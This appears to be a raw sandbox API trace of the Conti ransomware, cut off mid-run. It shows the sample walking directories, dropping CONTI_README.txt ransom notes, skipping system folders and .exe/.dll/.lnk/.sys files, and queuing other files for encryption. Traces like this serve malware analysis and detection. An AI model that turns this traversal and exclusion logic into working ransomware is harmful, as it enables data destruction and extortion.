	[0093.527] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1046", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\1046\\") returned="C:\\588bce7c90097ed212\\1046\\"
	[0093.527] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1046\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\588bce7c90097ed212\\1046\\CONTI_README.txt") returned="C:\\588bce7c90097ed212\\1046\\CONTI_README.txt"
	[0093.527] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\CONTI_README.txt" (normalized: "c:\\588bce7c90097ed212\\1046\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0093.535] GetProcessHeap () returned 0x1720000
	[0093.535] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c2a78 | out: hHeap=0x1720000) returned 1
	[0093.535] WriteFile (in: hFile=0x334, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3f61c, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3f61c*=0xa2, lpOverlapped=0x0) returned 1
	[0093.536] CloseHandle (hObject=0x334) returned 1
	[0093.536] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1046\\*", lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x4b98be7e, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x175e330
	[0093.536] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0093.536] FindNextFileW (in: hFindFile=0x175e330, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x4b98be7e, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0093.536] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0093.536] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0093.536] FindNextFileW (in: hFindFile=0x175e330, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4b965be4, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x4b965be4, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x4b98be7e, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0093.536] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0093.536] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0093.536] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0093.536] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0093.536] FindNextFileW (in: hFindFile=0x175e330, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe63, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0093.536] lstrcmpiW (lpString1="eula.rtf", lpString2=".") returned 1
	[0093.536] lstrcmpiW (lpString1="eula.rtf", lpString2="..") returned 1
	[0093.536] StrStrIW (lpFirst="eula.rtf", lpSrch=".CONTI") returned 0x0
	[0093.536] StrStrIW (lpFirst="eula.rtf", lpSrch="CONTI_README.txt") returned 0x0
	[0093.536] StrStrIW (lpFirst="eula.rtf", lpSrch=".exe") returned 0x0
	[0093.536] StrStrIW (lpFirst="eula.rtf", lpSrch=".dll") returned 0x0
	[0093.536] StrStrIW (lpFirst="eula.rtf", lpSrch=".lnk") returned 0x0
	[0093.536] StrStrIW (lpFirst="eula.rtf", lpSrch=".sys") returned 0x0
	[0093.536] StrStrIW (lpFirst="eula.rtf", lpSrch=".CONTI") returned 0x0
	[0093.537] StrStrIW (lpFirst="eula.rtf", lpSrch="CONTI_README.txt") returned 0x0
	[0093.537] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046") returned 26
	[0093.537] lstrlenW (lpString="eula.rtf") returned 8
	[0093.537] GetProcessHeap () returned 0x1720000
	[0093.537] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x48) returned 0x173d238
	[0093.537] lstrcpyW (in: lpString1=0x173d238, lpString2="C:\\588bce7c90097ed212\\1046" | out: lpString1="C:\\588bce7c90097ed212\\1046") returned="C:\\588bce7c90097ed212\\1046"
	[0093.537] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1046", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\1046\\") returned="C:\\588bce7c90097ed212\\1046\\"
	[0093.537] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1046\\", lpString2="eula.rtf" | out: lpString1="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned="C:\\588bce7c90097ed212\\1046\\eula.rtf"
	[0093.537] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17d2670) returned 1
	[0093.537] FindNextFileW (in: hFindFile=0x175e330, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13b62, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0093.537] lstrcmpiW (lpString1="LocalizedData.xml", lpString2=".") returned 1
	[0093.537] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="..") returned 1
	[0093.537] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".CONTI") returned 0x0
	[0093.537] StrStrIW (lpFirst="LocalizedData.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0093.537] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".exe") returned 0x0
	[0093.537] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".dll") returned 0x0
	[0093.537] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".lnk") returned 0x0
	[0093.537] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".sys") returned 0x0
	[0093.537] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".CONTI") returned 0x0
	[0093.537] StrStrIW (lpFirst="LocalizedData.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0093.537] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046") returned 26
	[0093.537] lstrlenW (lpString="LocalizedData.xml") returned 17
	[0093.537] GetProcessHeap () returned 0x1720000
	[0093.537] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x5a) returned 0x17c0b28
	[0093.537] lstrcpyW (in: lpString1=0x17c0b28, lpString2="C:\\588bce7c90097ed212\\1046" | out: lpString1="C:\\588bce7c90097ed212\\1046") returned="C:\\588bce7c90097ed212\\1046"
	[0093.537] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1046", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\1046\\") returned="C:\\588bce7c90097ed212\\1046\\"
	[0093.537] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1046\\", lpString2="LocalizedData.xml" | out: lpString1="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml"
	[0093.537] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17d5f78) returned 1
	[0093.537] FindNextFileW (in: hFindFile=0x175e330, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0093.537] lstrcmpiW (lpString1="SetupResources.dll", lpString2=".") returned 1
	[0093.537] lstrcmpiW (lpString1="SetupResources.dll", lpString2="..") returned 1
	[0093.537] StrStrIW (lpFirst="SetupResources.dll", lpSrch=".CONTI") returned 0x0
	[0093.537] StrStrIW (lpFirst="SetupResources.dll", lpSrch="CONTI_README.txt") returned 0x0
	[0093.538] StrStrIW (lpFirst="SetupResources.dll", lpSrch=".exe") returned 0x0
	[0093.538] StrStrIW (lpFirst="SetupResources.dll", lpSrch=".dll") returned=".dll"
	[0093.538] FindNextFileW (in: hFindFile=0x175e330, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0093.538] GetProcessHeap () returned 0x1720000
	[0093.538] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1734870 | out: hHeap=0x1720000) returned 1
	[0093.538] FindClose (in: hFindFile=0x175e330 | out: hFindFile=0x175e330) returned 1
	[0093.538] GetProcessHeap () returned 0x1720000
	[0093.538] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x175e470 | out: hHeap=0x1720000) returned 1
	[0093.538] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x45, dwReserved1=0xffffed8b, cFileName="1049", cAlternateFileName="")) returned 1
	[0093.538] lstrcmpiW (lpString1="1049", lpString2=".") returned 1
	[0093.538] lstrcmpiW (lpString1="1049", lpString2="..") returned 1
	[0093.538] lstrcmpiW (lpString1="1049", lpString2="tmp") returned -1
	[0093.538] lstrcmpiW (lpString1="1049", lpString2="winnt") returned -1
	[0093.538] lstrcmpiW (lpString1="1049", lpString2="Application Data") returned -1
	[0093.538] lstrcmpiW (lpString1="1049", lpString2="AppData") returned -1
	[0093.538] lstrcmpiW (lpString1="1049", lpString2="temp") returned -1
	[0093.538] lstrcmpiW (lpString1="1049", lpString2="thumb") returned -1
	[0093.538] lstrcmpiW (lpString1="1049", lpString2="$Recycle.Bin") returned 1
	[0093.538] lstrcmpiW (lpString1="1049", lpString2="$RECYCLE.BIN") returned 1
	[0093.538] lstrcmpiW (lpString1="1049", lpString2="System Volume Information") returned -1
	[0093.538] lstrcmpiW (lpString1="1049", lpString2="Program Files") returned -1
	[0093.538] lstrcmpiW (lpString1="1049", lpString2="Program Files (x86)") returned -1
	[0093.538] lstrcmpiW (lpString1="1049", lpString2="Boot") returned -1
	[0093.538] lstrcmpiW (lpString1="1049", lpString2="Windows") returned -1
	[0093.538] lstrlenW (lpString="C:\\588bce7c90097ed212") returned 21
	[0093.538] lstrlenW (lpString="1049") returned 4
	[0093.538] GetProcessHeap () returned 0x1720000
	[0093.538] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x36) returned 0x175e5f0
	[0093.538] lstrcpyW (in: lpString1=0x175e5f0, lpString2="C:\\588bce7c90097ed212" | out: lpString1="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212"
	[0093.538] lstrcatW (in: lpString1="C:\\588bce7c90097ed212", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\"
	[0093.538] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\", lpString2="1049" | out: lpString1="C:\\588bce7c90097ed212\\1049") returned="C:\\588bce7c90097ed212\\1049"
	[0093.538] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049") returned 26
	[0093.538] GetProcessHeap () returned 0x1720000
	[0093.538] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x3a) returned 0x1734900
	[0093.538] lstrcpyW (in: lpString1=0x1734900, lpString2="C:\\588bce7c90097ed212\\1049" | out: lpString1="C:\\588bce7c90097ed212\\1049") returned="C:\\588bce7c90097ed212\\1049"
	[0093.539] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1049", lpString2="\\*" | out: lpString1="C:\\588bce7c90097ed212\\1049\\*") returned="C:\\588bce7c90097ed212\\1049\\*"
	[0093.539] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049") returned 26
	[0093.539] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0093.539] GetProcessHeap () returned 0x1720000
	[0093.539] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x58) returned 0x17c2a78
	[0093.539] lstrcpyW (in: lpString1=0x17c2a78, lpString2="C:\\588bce7c90097ed212\\1049" | out: lpString1="C:\\588bce7c90097ed212\\1049") returned="C:\\588bce7c90097ed212\\1049"
	[0093.539] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1049", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\1049\\") returned="C:\\588bce7c90097ed212\\1049\\"
	[0093.539] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1049\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\588bce7c90097ed212\\1049\\CONTI_README.txt") returned="C:\\588bce7c90097ed212\\1049\\CONTI_README.txt"
	[0093.539] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\CONTI_README.txt" (normalized: "c:\\588bce7c90097ed212\\1049\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0093.819] GetProcessHeap () returned 0x1720000
	[0093.819] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c2a78 | out: hHeap=0x1720000) returned 1
	[0093.819] WriteFile (in: hFile=0x338, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3f61c, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3f61c*=0xa2, lpOverlapped=0x0) returned 1
	[0093.819] CloseHandle (hObject=0x338) returned 1
	[0093.820] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1049\\*", lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x4bc3b9b8, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x175e4b0
	[0093.820] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0093.820] FindNextFileW (in: hFindFile=0x175e4b0, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x4bc3b9b8, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0093.820] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0093.820] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0093.820] FindNextFileW (in: hFindFile=0x175e4b0, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4bc1487a, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x4bc1487a, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x4bc3b9b8, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0093.820] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0093.820] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0093.820] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0093.820] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0093.820] FindNextFileW (in: hFindFile=0x175e4b0, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xd4b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0093.820] lstrcmpiW (lpString1="eula.rtf", lpString2=".") returned 1
	[0093.820] lstrcmpiW (lpString1="eula.rtf", lpString2="..") returned 1
	[0093.820] StrStrIW (lpFirst="eula.rtf", lpSrch=".CONTI") returned 0x0
	[0093.820] StrStrIW (lpFirst="eula.rtf", lpSrch="CONTI_README.txt") returned 0x0
	[0093.821] StrStrIW (lpFirst="eula.rtf", lpSrch=".exe") returned 0x0
	[0093.821] StrStrIW (lpFirst="eula.rtf", lpSrch=".dll") returned 0x0
	[0093.821] StrStrIW (lpFirst="eula.rtf", lpSrch=".lnk") returned 0x0
	[0093.821] StrStrIW (lpFirst="eula.rtf", lpSrch=".sys") returned 0x0
	[0093.821] StrStrIW (lpFirst="eula.rtf", lpSrch=".CONTI") returned 0x0
	[0093.821] StrStrIW (lpFirst="eula.rtf", lpSrch="CONTI_README.txt") returned 0x0
	[0093.821] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049") returned 26
	[0093.821] lstrlenW (lpString="eula.rtf") returned 8
	[0093.821] GetProcessHeap () returned 0x1720000
	[0093.821] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x48) returned 0x173d508
	[0093.821] lstrcpyW (in: lpString1=0x173d508, lpString2="C:\\588bce7c90097ed212\\1049" | out: lpString1="C:\\588bce7c90097ed212\\1049") returned="C:\\588bce7c90097ed212\\1049"
	[0093.821] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1049", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\1049\\") returned="C:\\588bce7c90097ed212\\1049\\"
	[0093.821] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1049\\", lpString2="eula.rtf" | out: lpString1="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned="C:\\588bce7c90097ed212\\1049\\eula.rtf"
	[0093.821] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17d3668) returned 1
	[0093.822] FindNextFileW (in: hFindFile=0x175e4b0, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13e4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0093.824] lstrcmpiW (lpString1="LocalizedData.xml", lpString2=".") returned 1
	[0093.824] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="..") returned 1
	[0093.824] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".CONTI") returned 0x0
	[0093.824] StrStrIW (lpFirst="LocalizedData.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0093.824] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".exe") returned 0x0
	[0093.825] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".dll") returned 0x0
	[0093.825] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".lnk") returned 0x0
	[0093.825] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".sys") returned 0x0
	[0093.825] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".CONTI") returned 0x0
	[0093.825] StrStrIW (lpFirst="LocalizedData.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0093.825] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049") returned 26
	[0093.825] lstrlenW (lpString="LocalizedData.xml") returned 17
	[0093.825] GetProcessHeap () returned 0x1720000
	[0093.825] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x5a) returned 0x17c0920
	[0093.825] lstrcpyW (in: lpString1=0x17c0920, lpString2="C:\\588bce7c90097ed212\\1049" | out: lpString1="C:\\588bce7c90097ed212\\1049") returned="C:\\588bce7c90097ed212\\1049"
	[0093.825] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1049", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\1049\\") returned="C:\\588bce7c90097ed212\\1049\\"
	[0093.826] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1049\\", lpString2="LocalizedData.xml" | out: lpString1="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml"
	[0093.829] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17d4d38) returned 1
	[0093.832] FindNextFileW (in: hFindFile=0x175e4b0, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0093.832] lstrcmpiW (lpString1="SetupResources.dll", lpString2=".") returned 1
	[0093.832] lstrcmpiW (lpString1="SetupResources.dll", lpString2="..") returned 1
	[0093.832] StrStrIW (lpFirst="SetupResources.dll", lpSrch=".CONTI") returned 0x0
	[0093.832] StrStrIW (lpFirst="SetupResources.dll", lpSrch="CONTI_README.txt") returned 0x0
	[0093.832] StrStrIW (lpFirst="SetupResources.dll", lpSrch=".exe") returned 0x0
	[0093.832] StrStrIW (lpFirst="SetupResources.dll", lpSrch=".dll") returned=".dll"
	[0093.832] FindNextFileW (in: hFindFile=0x175e4b0, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0093.832] GetProcessHeap () returned 0x1720000
	[0093.832] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1734900 | out: hHeap=0x1720000) returned 1
	[0093.832] FindClose (in: hFindFile=0x175e4b0 | out: hFindFile=0x175e4b0) returned 1
	[0093.833] GetProcessHeap () returned 0x1720000
	[0093.833] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x175e5f0 | out: hHeap=0x1720000) returned 1
	[0093.833] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x45, dwReserved1=0xffffed8b, cFileName="1053", cAlternateFileName="")) returned 1
	[0093.833] lstrcmpiW (lpString1="1053", lpString2=".") returned 1
	[0093.833] lstrcmpiW (lpString1="1053", lpString2="..") returned 1
	[0093.833] lstrcmpiW (lpString1="1053", lpString2="tmp") returned -1
	[0093.833] lstrcmpiW (lpString1="1053", lpString2="winnt") returned -1
	[0093.833] lstrcmpiW (lpString1="1053", lpString2="Application Data") returned -1
	[0093.833] lstrcmpiW (lpString1="1053", lpString2="AppData") returned -1
	[0093.833] lstrcmpiW (lpString1="1053", lpString2="temp") returned -1
	[0093.833] lstrcmpiW (lpString1="1053", lpString2="thumb") returned -1
	[0093.833] lstrcmpiW (lpString1="1053", lpString2="$Recycle.Bin") returned 1
	[0093.833] lstrcmpiW (lpString1="1053", lpString2="$RECYCLE.BIN") returned 1
	[0093.837] lstrcmpiW (lpString1="1053", lpString2="System Volume Information") returned -1
	[0093.837] lstrcmpiW (lpString1="1053", lpString2="Program Files") returned -1
	[0093.837] lstrcmpiW (lpString1="1053", lpString2="Program Files (x86)") returned -1
	[0093.837] lstrcmpiW (lpString1="1053", lpString2="Boot") returned -1
	[0093.837] lstrcmpiW (lpString1="1053", lpString2="Windows") returned -1
	[0093.838] lstrlenW (lpString="C:\\588bce7c90097ed212") returned 21
	[0093.838] lstrlenW (lpString="1053") returned 4
	[0093.838] GetProcessHeap () returned 0x1720000
	[0093.838] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x36) returned 0x175e5f0
	[0093.838] lstrcpyW (in: lpString1=0x175e5f0, lpString2="C:\\588bce7c90097ed212" | out: lpString1="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212"
	[0093.838] lstrcatW (in: lpString1="C:\\588bce7c90097ed212", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\"
	[0093.838] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\", lpString2="1053" | out: lpString1="C:\\588bce7c90097ed212\\1053") returned="C:\\588bce7c90097ed212\\1053"
